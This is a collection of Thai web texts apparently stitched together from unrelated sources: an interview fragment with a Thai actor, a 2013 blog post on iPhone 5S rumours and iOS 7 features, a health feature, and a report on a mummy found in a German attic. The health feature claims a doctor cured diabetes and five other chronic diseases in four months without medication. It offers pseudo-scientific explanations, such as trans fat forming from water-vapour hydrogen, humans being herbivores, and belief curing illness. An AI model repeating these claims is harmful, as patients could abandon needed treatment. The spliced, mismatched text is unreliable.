ก็บอกว่าเลิกคุยก็เลิกคุยไง”

          ”(ก่อนหน้านี้รู้หรือเปล่าว่าน้องเค้ามีคนคุยๆอยู่ด้วย?) นั่นแหละ ผมไม่รู้ไงครับ(หัวเราะ) (แสดงว่ารู้แล้วถึงเลิกคุย?) รู้ทันทีเลยครับ(หัวเราะ) (น้องเค้าบอกหรือว่าคนรอบข้างบอก?) เรารู้ได้เองครับ ก็ถือว่าเราเดินหมาก แล้วมันเดินมั่วแหละครับ ก็เลยอย่างนี้แหละครับ ก็เป็นผลที่ทำให้เกิดความวุ่นวายขึ้นในชั่วขณะ (สมมติว่าน้องเค้ายังไม่ได้เปิดตัวจริงจัง ถ้ามีโอกาสจะคุยต่อมั้ย?) คงไม่หรอกครับ ผมไม่กล้าครับ เพราะความจริงแล้วการที่เราจะไปคุยกับใครซักคน ตอนนี้เราก็คงต้องคิดมากขึ้น เพราะมันเป็นเรื่องเป็นราวได้ง่าย (แสดงว่าอันนี้เป็นเหมือนบทเรียนเลย?) ความจริงผมก็เรียนมาหลายบทแล้วนะ แต่ยังไม่จำซะที (ถ้าเจอกันตามงานก็สามารถคุยได้?) โอเคๆ ไม่ได้ทะเลาะกันซะหน่อย (มันจะเขินหรือเปล่า?) ไอ้เขินมันเป็นอยู่แล้วแหละ(หัวเราะ) (ต่อไปนี้จะคุยกับใครก็คือต้องสืบดีๆหน่อย?) ใช่ครับ”

          ”(วันเกิดที่ผ่านมาไปไหนมาบ้าง?) ถ่ายละครถึงเที่ยงคืนกว่า แล้ววันต่อมาก็ถ่ายละครตอนเช้าอีกครับ เพื่อนๆก็ยังไม่ได้เจอผมเลย ไม่ได้เลี้ยงอะไร แต่ว่าก็ขอบคุณแฟนๆทุกคน บางคนก็ให้เค้ก ดีใจมากๆ ขอบคุณทุกคนที่อวยพรวันเกิดผม ขอบคุณมากๆครับ”


INFO: http://www.darafc.com/archives/pae-noey/

Apple จะมาเขย่าบัลลังก์ Samsung ด้วย iPhone 5S และ iPhone รุ่นประหยัด

Apple จะมาเขย่าบัลลังก์ Samsung ด้วย iPhone 5S และ iPhone รุ่นประหยัด พร้อม iOS 7

กว่า 80% ของข่าวลือแอปเปิ้ลนั้นส่วนมากหลุดมาจากคนในและแหล่งข่าวที่น่าเชื่อถือ แค่ไม่แสดงตนเปิดเผยตัว เพราะ ความลับพวกนี้มีค่าในทางธุรกิจสูงอยู่ แต่ผมว่าส่วนหนึ่งก็เป็นวิถีของ Apple ไปแล้ว ผลิตภัณฑ์ทุกชิ้นมาพร้อมข่าวลือ เคยดูหนังเรื่อง Spider-Man พระเอก ปีเตอร์ ปาร์คเกอร์ มักได้เงินก้อนโตจากการขายข่าวและภาพสไปเดอร์แมน ให้กับสำนักพิมพ์ ข่าวผลิตภัณฑ์ของแอปเปิ้ล ถ้ามีข้อมูลที่น่าเชื่อถือสามารถขายได้ในราคาสูงเหมือนกันครับ ข่าวลือจึงเยอะเป็นพิเศษมีทั้งลือจริง และออกมาลวงคู่แข่ง แต่จะเห็นทุกครั้งว่าส่วนหนึ่งเป็นจริง ซึ่งหลายเรื่องถูกพิสูจน์แล้วในงาน WWDC 2013 เมื่อคืนวันจันทร์ที่ผ่านมา



ตั้งแต่ Samsung Galaxy s4 เปิดตัวออกมาต้องยอมรับครับว่าเป็นมือถือเรือธงที่มีจุดแข็งในการขายหลายจุด ซึ่งถ้าผมเป็น Apple มองว่าถ้าไม่มีกลยุทธ์อะไรที่จะมาชนบัลลังก์คงต้องโดนเขย่าตลาดไปแน่ๆ พี่แซมแกจัดเต็มใส่ฟีเจอร์ไปเต็มที่ มือถือสมาร์ทโฟนในปีนี้ต้องเน้นความคุ้มค่าของการใช้งาน ซื้อเครื่องเดียวทำได้ล้านแปดถึงจะคุ้ม ใครคุ้มกว่าสะดวกมากกว่า จะกลายเป็นจุดให้คนตัดสินใจซื้อ ตอนนี้นอกจากเรื่อง Spec เครื่องดีไซน์แล้วก็แข่งกันที่ (Ecosystem) ใช้งานระบบ ใครมีความสะดวกมากกว่ามีบริการเสริมต่างๆ ที่ใช้ประโยชน์และคุ้มค่ากว่า



ยกตัวอย่างหลังๆ เริ่มมีบริการที่แบ่งพักแบ่งพวกมากขึ้น อย่าง Galaxy S4 มีฟีเจอร์ Group Play ยืมลำโพงมือถือเครื่องอื่นให้กลายเป็นลำโพงตัวเอง ส่งภาพให้กันแค่เอาเครื่องมาแตะกัน หรือยืมหน้าจอเครื่องอื่นให้กลายมาเป็นหน้าจอตัวเองเพื่อใช้ประโยชน์ในการพรีเซ้นส์งานหรือประชุม ซึ่ง ในงาน WWDC ของ Apple บริการแบบแยกพรรคแบ่งพวกก็มีให้เห็นมากขึ้นด้วยอย่าง Air Drop ส่งไฟล์กันในอุปกรณ์แอปเปิ้ลด้วยกันผ่าน wifi และ Bluetooth แบบใหม่ ไม่ต้องมาแตะกับแบบ Samsung การแก้ไขเอกสาร iWork ทั้งหมดของ Apple ได้ทุกอุปกรณ์ ผ่าน iCloud และเรื่องของเพลงและการถ่ายภาพที่ปรับปรุงให้ดีขึ้น Siri ที่ฉลาดขึ้นและ iOS 7 หน้าตาการใช้งานแบบใหม่ที่เปลี่ยนยกแผง หลังจากที่พูดเป็นเสียงเดียวกันว่าดีไซน์ของ iOS ของแอปเปิ้ลนั้นแก่เกินแกงแล้ว รวมๆ แล้วหลังจากงาน WWDC 2012 บอกได้เลยว่าน่าใช้ขึ้นเยอะ

แต่ถ้าจะทำให้ขายดีขึ้นแข่งกับคู่แข่ง พี่แซม(ซุง) ให้ได้ต้องลดราคาลงมาบ้าง เพราะราคาของ iPhone นั้นสูงไปสำหรับกลุ่มที่มีกำลังซื้อรองลงมา ซึ่งก็จะมี iPhone รุ่นระหยัดนี่แหละที่จะมาเป็นฮีโร่ของคนอยากใช้ iPhone ราคาสบายกระเป๋าขึ้น จากแหล่งข่าวที่น่าเชื่อถือ(อีกล่ะ) บอกว่า ไอโฟนตัวใหม่ ซึ่งจะเป็น iPhone 5S ซึ่งมาพร้อมกับระบบอ่านลายนิ้วมือ และมาพร้อมกับตัว iPhone mini และ iPad mini รุ่นใหม่ ทั้งหมดทั้งมวลมาพร้อมกับ iOS 7 ใหม่ แง้มๆ จากแหล่งข่าวที่น่าเชื่อถือทั้งหมดทั้งมวลจะได้เห็นเป็นทางการแน่ๆ ช่วงเดือนกันยายนปีนี้ ส่วนการยกเครื่อง หน้าตาการใช้งาน ใหม่ iOS 7 ก็น่าสนใจไม่น้อย ผมดูแล้วก็ออกจะเหมือนลูกผสม Windows Phone เน้นหน้าตาการออกแบบ "Flat" แบนๆ เรียบๆ ซึ่งก็ดูแล้วหน้าตาก็สวยไปอีกแบบปรับ Font ใหม่

สรุปฟีเจอร์ใหม่ใน iOS 7 ลิสๆ แล้วก็เยอะอยู่เหมือนกันอย่าง FaceTime ที่มีเวอร์ชั่นทำงานเฉพาะเสียง คราวนี้จะโทรได้ไม่ต้องเสียค่าโทร บล็อกสายเข้าได้ , iOS in car ขยายการทำงานให้รองรับการใช้งานในรถยนต์ พวกการโทรในรถ สั่งให้ส่งข้อความ การใช้เป็นแผนที่นำทางในรถ เชื่อมกับระบบของรถได้มากขึ้น รองรับการเชื่อมต่ออุปกรณ์ที่มีออกมาขายเพิ่มความสามารถให้เครื่องอย่างพวกจอยเกมหรือพวกอุปกรณ์ต่อกล้องเพิ่มเติม แล้วเดี๋ยวมาดูกันว่าจะมาเขย่าบัลลังก์ Samsung ได้รึเปล่าแล้วยอดขายของรุ่นประหยัดจะพุ่งทะลุยอดมั้ยต้องติดตาม ผมก็รอ iPhone รุ่นประหยุดอยู่เหมือนกัน


INFO: blog.butthun.com

ค้นพบศาสตร์ ‘ห้าม 5 ต้อง 5' สลายโรคร้าย

ค้นพบศาสตร์ ‘ห้าม 5 ต้อง 5' สลายโรคร้าย
เสียสละเวลาอ่านสัก 15-20 นาที
ใช้วิถีธรรมชาติขจัด 6 โรคร้ายใน 4 เดือน
จากหนุ่มใหญ่วัยใกล้เกษียณที่ถูกโรคร้ายรุมเร้าถึง 6 โรค ทั้งโรคอ้วน เบาหวาน ความดันโลหิตสูง ไขมันในเลือดผิดปกติ ตับอักเสบรุนแรง และปริมาณเม็ดเลือดแดงมากเกินไป ซึ่งจากประสบการณ์ทางแพทย์ที่สั่งสมมา ทำให้เขารู้ว่า โรคร้ายเหล่านี้ไม่มีทางรักษาให้หายขาด ทำได้เพียงกินยาเพื่อบรรเทาอาการเท่านั้น

แต่เมื่อเขานำศาสตร์ในการดูแลตัวเองด้วยวิธีธรรมชาติ ซึ่งเกิดจากการค้นคว้าและทดลองปฏิบัติด้วยตัวเองมาใช้ ‘นพ.บุญชัย อิศราพิสิษฐ์’ กรรมการผู้จัดการโรงพยาบาลราชธานี โรงพยาบาลชื่อดังของจังหวัดอยุธยา และประธานกรรมการบริหารเวลเนสซิตี้ กรุ๊ป ก็ต้องพบกับความอัศจรรย์ว่า เขาสามารถขจัดโรคร้ายทั้ง 6 โรคได้ภายในระยะเวลาแค่ 4 เดือน

• 6 โรคร้ายรุมเร้าจนต้องลุกขึ้นมาหาวิธีปฏิวัติตัวเอง

คุณหมอบุญชัยเล่าว่า ด้วยการใช้ชีวิตแบบคนเมืองที่เต็มด้วยความเร่งรีบ ความเครียดที่เกิดจากการทำงานและการกินอาหารตามความเคยชิน ส่งผลให้สุขภาพของเขาเริ่มมีปัญหา และสั่งสมเรื่อยมาจนกลายเป็นโรคร้ายถึง 6 โรคด้วยกัน

น้ำหนักของเขาขึ้นไปถึง 113 กิโลกรัม ระดับน้ำตาลในเลือดสูงถึง 294 ขณะที่ความดัน ตัวบนอยู่ที่ 170 ตัวล่าง 110 อีกทั้งไขมันในเลือดยังผิดปกติ!!

แต่ที่น่าตกใจกว่านั้นคือ แม้เขาจะเป็นหมอที่ช่วยชีวิตคนไข้มามากมาย แต่เขากลับไม่สามารถรักษาโรคเหล่านี้ของตัวเองให้หายขาดได้

ในทางกลับกันโรคที่เป็นอยู่กำลังเป็นสะพานที่นำไปสู่โรคภัยที่ร้ายแรงขึ้น จุดนี้จึงเป็นแรงบันดาลใจให้คุณหมอหันมาศึกษาค้นคว้า เพื่อหาทางแก้ไขและลุกขึ้นมาปฏิวัติตัวเองอย่างจริงจัง

“ความจริงหลายๆโรคที่เป็นเนี่ยะ เราก็รู้มาก่อนอยู่แล้ว อย่างโรคอ้วน โรคเม็ดเลือดแดงมากเกินไป โรคตับอักเสบเรื้อรัง ความดันโลหิตสูง แต่สาเหตุที่ทำให้ผมตัดสินใจลุกขึ้นมาเปลี่ยนชีวิตตัวเองก็คือ เมื่อวันที่ 11 ส.ค. ปี 53 ผมตรวจร่างกาย พบว่า เป็นเบาหวานและน้ำตาลในเลือดสูง ซึ่งโรคเบาหวานมันเป็นต้นเหตุให้เกิดโรคต่างๆตามมาอีกเยอะ เช่น โรคหัวใจ เส้นเลือดในสมองตีบ ตาบอดเพราะเบาหวานขึ้นตา

โรคเบาหวานไม่สามารถรักษาให้หายขาดได้ ทำได้เพียงรักษาตามอาการ กินยาเพื่อรักษาระดับน้ำตาล ซึ่งต้องกินยาตลอดชีวิต แต่การกินยามากๆ จะทำให้เกิดผลข้างเคียงคือ ทำให้ตับเสื่อมและไตวาย ซึ่งตรงนี้ทำให้ผมมองหาวิธีการใหม่ที่จะมีโอกาสหายจากโรคเบาหวานหลากหลายวิธีการ

วิธีการที่ผมใช้เริ่มจากพื้นฐานความเป็นจริงทางวิทยาศาสตร์ และอาศัยความรู้หลายอย่างประกอบกัน ทั้งความรู้เรื่องประวัติศาสตร์ โบราณคดี วิทยาศาสตร์ ฟิสิกส์ ความรู้เรื่องการเจริญของโลก ความรู้เรื่องมานุษยวิทยา ความรู้เรื่องวิทยาศาสตร์ทางจิต ซึ่งเราก็เอาหลายๆอย่างมาผสมผสานกัน เพื่อหารากเหง้าความเป็นมาว่า มนุษย์เรามีความเป็นมาอย่างไร คือคนในปัจจุบันไม่ได้ดำรงอยู่ตามธรรมชาติ เพราะเราสั่งสมวัฒนธรรมความรู้เพื่อจะทำให้เราดำรงชีวิตอย่างสะดวกสบาย ซึ่งการที่เราใช้ชีวิตผิดธรรมชาติ เป็นสาเหตุที่ทำให้เราป่วย ดังนั้น การที่เราจะหายป่วยได้ เราก็ต้องไปหาว่า การใช้ชีวิตตามธรรมชาตินั้นเป็นอย่างไร” นพ.บุญชัย เล่าย้อนให้ฟังถึงสาเหตุที่ทำให้เขาลุกขึ้นมาปฏิวัติตัวเอง

• ค้นพบศาสตร์ ‘ห้าม 5 ต้อง 5' สลายโรคร้าย

จากการศึกษาวิเคราะห์ศาสตร์ต่างๆ ทำให้คุณหมอบุญชัยได้ข้อสรุปว่า อาหารที่คนเรานิยมบริโภคอยู่ในปัจจุบันนั้น ไม่สอดคล้องกับธรรมชาติและความต้องการของร่างกาย ซึ่งเป็นสาเหตุใหญ่ที่ทำให้เกิดอาการเจ็บป่วย ดังนั้น จึงจำเป็นต้องแก้ที่ต้นเหตุคือ ปรับเปลี่ยนวิธีการกินและการดำรงชีวิตให้สอดคล้องกับธรรมชาติของมนุษย์ จึงเกิดเป็นศาสตร์ ‘ห้าม 5 ต้อง 5' ที่คุณหมอค้นพบด้วยตัวเอง

การค้นพบครั้งนี้ได้สร้างความอัศจรรย์ให้แก่วงการแพทย์อย่างยิ่ง เพราะหลังจากที่คุณหมอนำศาสตร์ดังกล่าวมาปฏิบัติอย่างจริงจัง ก็ปรากฏว่า โรคร้ายที่คุณหมอบุญชัยเป็นอยู่ถึง 6 โรคนั้นได้อันตรธานหายไปภายระยะเวลาแค่ 4 เดือนเท่านั้น

“จากการศึกษาทำให้เราพบว่า จริงๆแล้วมนุษย์เป็นสัตว์กินพืช ซึ่งอยู่ในตระกูลสัตว์เลี้ยงลูกด้วยนม ตระกูลเดียวกับลิง สมัยดึกดำบรรพ์เรากินผักและผลไม้เป็นหลัก ซึ่งผักผลไม้ที่เรากินจะเป็นพวกใบอ่อน ย่อยง่าย และก็กินพวกเนื้อสัตว์บ้าง กินไข่ กินดินโป่งเป็นอาหารเสริม แต่ปัจจุบันเราไม่ได้กินแบบนี้อีกแล้ว วิวัฒนาการทางวัฒนธรรมทำให้อาหารการกินของเราเปลี่ยนไป กลายเป็นว่าเราบริโภคสิ่งที่ไม่เหมาะกับร่างกายของมนุษย์ ผมก็มานั่งคิดว่า ถ้าเราจะใช้ชีวิตตามธรรมชาติที่แท้จริงของมนุษย์ เราจะทำยังไง จะปรับได้ขนาดไหน

ผมจึงออกแบบชีวิตในปัจจุบันให้ปลอดภัยในระดับที่สามารถรักษาโรคที่เกิดจากการใช้ชีวิตผิดธรรมชาติ ขณะเดียวกันก็ยังสามารถใช้ชีวิตในการทำงานแบบคนเมืองได้ คือต้องสร้างสมดุลระหว่างการใช้ชีวิตตามกฎธรรมชาติและการใช้ชีวิตแบบคนเมือง เราก็ใช้วิธีการทดลอง ดูจากตำรา ดูจากงานวิจัย และการทดลองปฏิบัติ ทำให้ได้ข้อสรุปของวิธีดำเนินชีวิตตามกฎธรรมชาติ

สรุปออกมาเป็นข้อควรปฏิบัติ 5 ข้อ และสิ่งที่ไม่ควรปฏิบัติ 5 ข้อ ซึ่งเรียกสั้นๆว่า กฎห้าม 5 ต้อง 5” นพ.บุญชัย พูดถึงศาสตร์การคืนสู่วิถีธรรมชาติที่เขาค้นพบ

• มหัศจรรย์แห่งวิถีธรรมชาติ
โรคร้ายหายเป็นปลิดทิ้ง

หลังจากที่คุณหมอบุญชัยปฏิบัติตามกฎ ‘ห้าม 5 ต้อง 5' เขาก็พบกับความมหัศจรรย์แห่งวิถีธรรมชาติ เพราะสุขภาพของเขาฟื้นตัวอย่างรวดเร็ว และโรคร้ายที่เป็นอยู่หายไปเป็นปลิดทิ้ง

“ผมเริ่มปรับเปลี่ยนวิธีใช้ชีวิตมาตั้งแต่ปี 2553 ถึงตอนนี้ก็ 2 ปีกว่าแล้ว ซึ่งหลังจากเปลี่ยนวิธีใช้ชีวิตแค่เดือนก็เห็นผลแล้ว พอถึงเดือนที่ 4ปรากฎว่า 6 โรคที่เป็นหายหมดเลย ยกเว้นไขมันในหลอดเลือดยังลดลงไม่ถึงระดับ คือโรคอ้วนก็หาย จากเดิมน้ำหนัก 114 กก. ลดลงเหลือ 89 กก. น้ำหนักผมลดลงไป 25 กก.

ตอนนี้โรคต่างๆหายหมดแล้ว เบาหวานก็หาย น้ำตาลในเลือดที่เคยขึ้นไปถึง 294 ปัจจุบันเหลือ 90 มันลดลงเอง ไม่ต้องใช้ยาเลย ความดันผมลดลงจาก ตัวบน 170 เหลือ 105 ตัวล่างจาก 110 เหลือ 70 เส้นเลือดที่เคยแข็ง เส้นเลือดที่อุดตัน ก็เปลี่ยนเป็นเหนียว ยืดหยุ่นดี

คือมันเป็นวิธีที่ง่ายมากๆ เหมือนเส้นผมบังภูเขา แต่เรามองไม่ออก คือการใช้ยานอกจากจะแค่รักษาตามอาการ ไม่หายขาดแล้ว ยังมีผลข้างเคียงด้วย แล้วถ้าใช้ยาเราก็จะไม่เปลี่ยนวิธีใช้ชีวิต เพราะเราคิดว่ายาช่วยเราได้ คืออวัยวะที่มันเสื่อมไปเนี่ยะมันฟื้นไม่ได้

อย่างเช่นโรคเบาหวาน เกิดขึ้นเพราะตับอ่อนเสื่อมจึงผลิตอินซูลินได้ไม่ดี แต่ร่างกายต้องใช้อินซูลินในการควบคุมน้ำตาล เมื่อผลิตอินซูลินได้น้อยน้ำตาลในเลือดก็ขึ้น พอเราปรับเปลี่ยนการใช้ชีวิต ร่างกายดีขึ้น ตับอ่อนฟื้นตัวขึ้นก็ผลิตอินซูลินได้ดี เมื่อมีอินซูลินมาควบคุมปริมาณน้ำตาลในเลือด น้ำตาลในเลือดก็ลดลงโดยไม่ต้องใช้ยาเลย” นพ.บุญชัย กล่าวถึงชีวิตใหม่ที่เขาได้รับหลังจากกลับมาสู่วิถีธรรมชาติ

• เดินหน้าเผยแพร่แนวคิดพิชิตโรค

เมื่อค้นพบวิธีที่สามารถทำให้หายจากโรคร้าย ด้วยการเปลี่ยนแปลงวิถีการดำเนินชีวิต ซึ่งนอกจากจะเป็นวิธีที่ง่าย และประหยัดค่าใช้จ่ายแล้ว ยังเห็นผลอย่างรวดเร็ว

ด้วยจิตวิญญาณของความเป็นหมอที่อยากเห็นคนไข้หายป่วยและกลับมามีสุขภาพที่ดี คุณหมอบุญชัยจึงตั้งใจที่จะเผยแพร่ความรู้ดังกล่าวให้แก่คนไข้และบุคคลทั่วไป ทั้งโดยการบรรยายให้แก่หน่วยงานและโรงพยาบาลต่างๆ และการเขียนหนังสือเพื่อถ่ายทอดองค์ความรู้แบบง่ายให้ผู้ที่สนใจนำไปปฏิบัติ

“ปกติผมจะมีคอร์สบรรยายเรื่องการรักษาโรคโดยไม่ต้องใช้ยา แต่ใช้วิธีปรับการใช้ชีวิต ผมจัดเป็นหลักสูตร แล้วก็เอาหลักสูตรที่ได้มาเขียนลงหนังสือ เอาความรู้ที่ได้มาสอนคนอื่นต่อ ก็มีองค์กรใหญ่ๆติดต่อเข้ามาเยอะ ไม่ว่าจะเป็นธนาคารออมสิน การประปานครหลวง บริษัทปูนซิเมนไทย บริษัทการบินไทย ผมอบรมไปเกือบหมื่นคนแล้ว ผมไปบรรยายตามโรงพยาบาลที่ต้องการให้จำนวนคนไข้ลดลง เช่น ที่โรงพยาบาลศิริราช โรงพยาบาลศูนย์สระบุรี โรงพยาบาลนพรัตน์ราชธานี

คนไข้ที่ปฏิบัติตามแนวทางของผมแล้วมีเยอะมาก คือถ้าปฏิบัติจริงจังต้องเห็นผลทุกราย จากสถิติคนที่ผ่านการอบรมในคอร์สของผมเนี่ย สามารถปฏิบัติอย่างจริงจังและได้ผลเต็มที่ประมาณ 30 % ปฏิบัติได้พอประมาณและได้ผลดี ประมาณ 40% ส่วนที่เหลืออีก 30% ก็ใช้ชีวิตเหมือนเดิม เลยไม่เกิดการเปลี่ยนแปลงอะไร คือหลักสูตรของผมนั้นไม่ใช่ว่าเอายาลูกกลอนไปกิน 10 หม้อแล้วหาย แต่มันคือหลักสูตรการเปลี่ยนชีวิตคน” นพ.บุญชัยกล่าวด้วยความภาคภูมิใจ

• ขอเพียงมีศรัทธาต่อชีวิต โรคร้ายก็หายได้

คุณหมอบุญชัยยังได้กล่าวตบท้ายให้กำลังใจแก่ผู้ป่วยทุกคนว่า ขอเพียงมีศรัทธาก็สามารถหายจากโรคร้ายและกลับมามีชีวิตใหม่ได้แน่นอน

“ถ้าไม่เป็นโรค เราก็ไม่คิดจะเปลี่ยนแปลงตัวเอง แต่ผมโชคดีที่ผมเป็นโรคที่เราวัดได้ว่าเปลี่ยนแปลงตัวเอง 10 ข้อแล้วเห็นผล มันก็เกิดกำลังใจ เกิดการเรียนรู้ เกิดการค้นคว้าจนได้คำตอบ

ผมจึงอยากให้ผู้ป่วยทุกคนมีศรัทธาต่อชีวิต มีความหวัง โรคทุกโรคเนี่ยะถ้าเรามีความเชื่อว่าเราจะหาย มีพลัง มีความมุ่งมั่น เราก็มีโอกาสหาย และถ้าเราปฏิบัติตามวิธีที่ถูกต้องเราก็สามารถหายได้

เพราะว่าร่างกายมนุษย์เป็นสิ่งประดิษฐ์ทางธรรมชาติที่วิเศษที่สุด เพราะมันฟื้นฟูตัวเองได้ มันแก้ไขอาการเจ็บป่วยได้ด้วยตัวเอง ขอเพียงแต่อย่าเอาจิตเราไปขวางมัน เราเพียงแต่เติมเต็มสิ่งที่จะเสริมสร้างร่างกายเรา เช่น อาหาร น้ำ อากาศ อย่างถูกต้อง พวกนี้ก็จะเป็นวัตถุดิบที่จะไปสร้างร่างกายเรา ขบวนการซ่อมตัวเองจะเกิดขึ้น”

• ข้อห้ามปฏิบัติ 5 ข้อ

1. ห้ามจินตนาการเชิงลบ เนื่องจากจิตใต้สำนึกเป็นตัวควบคุมพฤติกรรมการดำเนินชีวิต ดังนั้น ไม่ว่าคิดบวกหรือคิดลบก็ล้วนมีผลต่อร่างกายทั้งสิ้น ดังนั้น หากเราจินตนาการเชิงลบจะก่อให้เกิดความเครียด อารมณ์ร้าย ซึ่งจะเป็นผลลบต่อร่างกาย

2. ห้ามอ้วน เนื่องจากความอ้วนเป็นบ่อเกิดแห่งโรค ซึ่งเราจะพบว่า คนสมัยก่อนนั้นใช้ชีวิตตามป่าเขา หากินตามวิถีธรรมชาติ มีโอกาสได้ออกกำลังกายอย่างสม่ำเสมอจึงไม่อ้วนเหมือนผู้คนในปัจจุบัน ทำให้คนสมัยก่อนไม่ค่อยเป็นโรค

3. ห้ามรับประทานน้ำตาล รวมถึงขนมและอาหารที่ใส่น้ำตาล เนื่องจากความจริงแล้วอาหารที่เราได้จากธรรมชาตินั้นมีแป้งและน้ำตาลอยู่แล้ว ซึ่งน้ำตาลตามธรรมชาตินั้นมีสัดส่วนที่พอดีและเหมาะกับร่างกาย แต่ปัจจุบันคนไทยส่วนใหญ่ติดหวาน เพราะเคยชินกับการเติมน้ำตาลในอาหารมาก จึงทำให้ร่างกายได้รับน้ำตาลมากกว่าที่ควรจะเป็น และเป็นสาเหตุที่ทำให้เกิดโรคต่างๆตามมา

4. ห้ามรับประทาน Trans Fat หรือไขมันที่ผ่านความร้อน เพราะเมื่อไขมันผ่านความร้อน ไอน้ำในอากาศจะแตกตัว ทำให้ไฮโดรเจนในโมเลกุลของไอน้ำเข้าไปฝังตัวอยู่ในคาร์บอนของไขมันชนิดที่ไม่อิ่มตัวและดึงไขมันอิ่มตัวขึ้นมา ซึ่งไขมันอิ่มตัวนี้เรียกว่า Trans Fat มักอยู่ในของทอด โดยคนที่กินอาหารทอดมากๆ มักเป็นโรคไขมันอุดตันในเส้นเลือด

5. ห้ามรับประทานสัตว์เลี้ยงลูกด้วยนม เช่น หมู วัว แพะ แกะ ซึ่งถือว่าเป็นสัตว์ใหญ่ เนื่องจากหากศึกษาจากโครงสร้างจะพบว่ามนุษย์เป็นสัตว์กินพืช โดยฟันของมนุษย์เป็นฟันแบบตัดซึ่งเหมาะกับการบดเคี้ยวพืช แต่เนื้อสัตว์ใหญ่จะมีลักษณะเหนียวเกินกว่าฟันมนุษย์จะบดเคี้ยวได้

นอกจากนั้น ลำไส้ของมนุษย์ยังมีลักษณะยาวมาก ทำให้เนื้อที่เหนียวและต้องใช้เวลาย่อยหลายวันไปเน่าอยู่ในลำไส้ จึงเกิดเชื้อแบคทีเรียและสารพิษตามมา

 

• ข้อควรปฏิบัติ 5 ข้อ

1. เน้นการกินพืชผักผลไม้ ซึ่งเป็นอาหารตามวิถีดั่งเดิมของมนุษย์ ในปริมาณครึ่งหนึ่งในแต่ละมื้ออาหาร โดยเน้นผักผลไม้ที่ไม่หวานจัด และไม่ผ่านความร้อนหรือการปรุงสุก เนื่องความร้อนจะไปทำลายวิตามิน เอนไซม์ และสารต่างๆที่มีลักษณะเป็นยา หากทำได้ทุกมื้อก็จะเป็นเหมือนยาอายุวัฒนะ

2. กินข้าวที่ไม่ผ่านการขัดสีและยังมีจมูกข้าวเหลืออยู่ เพราะจะทำให้ได้สารที่เป็นประโยชน์ต่อร่างกาย และผู้ที่มีอายุ 30 ปีขึ้นไป ควรลดปริมาณข้าวและคาร์โบไฮเดตลงตามลำดับ เนื่องจากจริงๆข้าวและคาร์โบไฮเดตไม่ใช่สิ่งจำเป็นต่อร่างกายมนุษย์ แต่วิวัฒนาการทางวัฒนธรรมทำให้เราหันมาบริโภคข้าวและคาร์โบไฮเดตจนเกิดความเคยชิน และกลายเป็นการบริโภคเกินความจำเป็น

3. ออกกำลังกายวันละครึ่งชั่วโมง โดยออกกำลังกายในระดับที่เหงื่อออก หัวใจเต้นแรง ได้หอบหายใจ ซึ่งจะช่วยให้ร่างกายขับพิษออกหลายๆทาง ระบบหมุนเวียนน้ำเหลืองจะทำงาน ซึ่งระบบหมุนเวียนน้ำเหลืองนั้นเป็นระบบป้องกันโรคที่สำคัญของมนุษย์

นอกจากนั้น ขณะที่หอบหายใจนั้น ร่างกายจะเอาอากาศออกจากปอดได้ทั้งหมด ทำให้อากาศที่อยู่ในปอดสะอาดและมีปริมาณออกซิเจนสูง

4. นอนหลับพักผ่อนให้เพียงพอ โดยช่วงการนอนหลับที่ดีที่สุดคือช่วง 22.00-02.00 น. เนื่องจากช่วงดังกล่าวร่างกายจะผลิตเมลาโพนินฮอร์โมนออกมา ซึ่งฮอร์โมนตัวนี้จะทำให้เราง่วง พอหลับสนิทร่างกายก็จะหลั่งโกรทฮอร์โมนออกมาอีกตัวหนึ่ง ซึ่งฮอร์โมนตัวนี้จะทำให้เด็กเจริญเติบโต ถ้าเป็นผู้ใหญ่จะทำให้เกิดการซ่อมสร้างในเวลาที่รวดเร็ว

5. การมีจินตนาการเชิงบวก คือการจะให้ร่างการมีสุขภาพดี เราจะต้องมีจินตนาการเชิงบวกต่อสุขภาพ ทำให้ชีวิตเรามีความสุข สุขภาพดี แข็งแรง ร่างกายจะเป็นไปตามที่เราคิด ถ้าเราเครียดร่างกายเราก็จะอ่อนแอ จิตใต้สำนึกมันส่งผลต่อร่างกาย


with Pydcpstw Sone.

วันพุธที่ 4 กันยายน พ.ศ. 2556

ตะลึง! พบ มัมมี่ ลึกลับที่ ห้องใต้หลังคา ในเยอรมนี

มัมมี่ในโลงหินที่เด็กชายพบในห้องใต้หลังคาของปู่

       เอเอฟพี - ตำรวจ และเจ้าหน้าที่นิติเวชเยอรมันกำลังเผชิญกับปริศนา ภายหลังที่มีเด็กชายวัย 10 ปีคนหนึ่งพบร่างมัมมี่มนุษย์บรรจุในโลงหิน ที่มุมหนึ่งในห้องใต้หลังคาของปู่
      
       จากการตรวจสอบด้วยเครื่องซีทีสแกนพบว่าร่างมัมมี่นี้ประกอบด้วย กะโหลกศีรษะมนุษย์ ซึ่งบริเวณเบ้าตาซ้ายมีลูกศรโผล่ออกมา และโครงกระดูกซึ่งแยกออกเป็นชิ้นใหญ่ๆ หลายชิ้นในอิริยาบถประสานมือไว้แนบอก ทั้งหมดนี้ได้รับการถนอมรักษาไว้เป็นอย่างดี หนังสือพิมพ์ท้องถิ่นไครซ์ไซตุงรายงาน
      
       นอกเหนือไปจากมัมมี่ปริศนานี้แล้ว ในโลงศพยังมีรูปหล่อใบหน้าของผู้ตาย และผลการเอ็กซ์เรย์ชี้ว่ามีแผ่นโลหะปกคลุมโครงกระดูกที่มีความยาว 1.49 เมตรนี้ ซึ่งยังคงระบุไม่ได้ว่าเป็นเพศอะไร
      
       ลุทซ์ วูลฟ์กัง เคตทเลอร์ พ่อของเด็กชายที่พบมัมมี่กล่าวว่า พ่อของเขาที่เสียชีวิตเมื่อ 12 ปีที่แล้ว เคยเดินทางไปแอฟริกาเหนือในช่วงทศวรรษ 1950 และอาจจะนำมัมมี่ร่างนี้กลับมาเป็นของที่ระลึกอันน่าสยดสยอง
      
       ผ้าที่ใช้พันมัมมี่ร่างนี้ซึ่งยังไม่ถูกแกะออก เพราะเกรงว่าศพจะได้รับความเสียหาย เป็นผ้าที่ถูกทอด้วยเครื่องจักรในช่วงศตวรรษที่ 20 เคตทเลอร์ ผู้มีอาชีพเป็นทันตแพทย์ซึ่งอยู่ร่วมการตรวจสอบด้วยเครื่องซีทีสแกนด้วยระบุ
      
